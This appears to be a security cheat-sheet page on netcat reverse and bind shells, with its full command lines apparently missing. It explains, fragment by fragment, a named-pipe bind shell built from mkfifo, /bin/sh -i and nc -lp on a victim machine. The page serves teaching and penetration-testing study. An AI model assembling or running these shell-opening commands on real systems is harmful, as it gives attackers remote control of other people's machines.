netcat
Reverse shell
Basic command on attacker machine:
Command to be executed on the victim's machine:
Bind shell
Basic command on attacker machine:
Command to be executed on the victim's machine:
Explanation for commands use in option 2 of reverse/bind shell
What is a fifo (named pipe) file?
‘mkfifo’ is primarily used when two processes need to communicate with each other but do not have a parent-child relationship. A FIFO special file is an extension of pipes, which offers a pathway for data between two processes. The FIFO special file can be opened by multiple processes for reading and writing. It is especially useful in scenarios where data streaming is necessary.
rm /tmp/fifo
: Remove the fifo (named pipe) file if it already existsmkfifo /tmp/fifo:
Create a fifo file at the location/tmp/fifo
using themkfifo
commandcat /tmp/fifo
: Retrieve content of the created fifo file/bin/sh-i 2>&1:
Simply executes the current shell, with the-i
flag for interactive shell mode, and2>&1
which redirects standard error to standard output, combining both output streamsnc -lp [port] > /tmp/fifo
: Runs the netcat command and sends the output to/tmp/fifo
.
Overview
These series of commands essentially continuously waits for an input from the attacker machine, before executing it with the current shell, before sending back as input through the established netcat connection:
a) Attacker sends remote command, which is directed to (>
) /tmp/fifo
b) When the value of /tmp/fifo
changes, the cat
command would retrieve the new value and pipe it as input to the /bin/sh -i 2>&1
command
c) The output from the executed shell command would be piped back as input through the netcat connection to be viewed on the attacker machine
Useful commands to allow smooth interactions
Note: These commands should be ran from the attacker's machine terminal, and not on the target shell itself
stty
tool
Last updated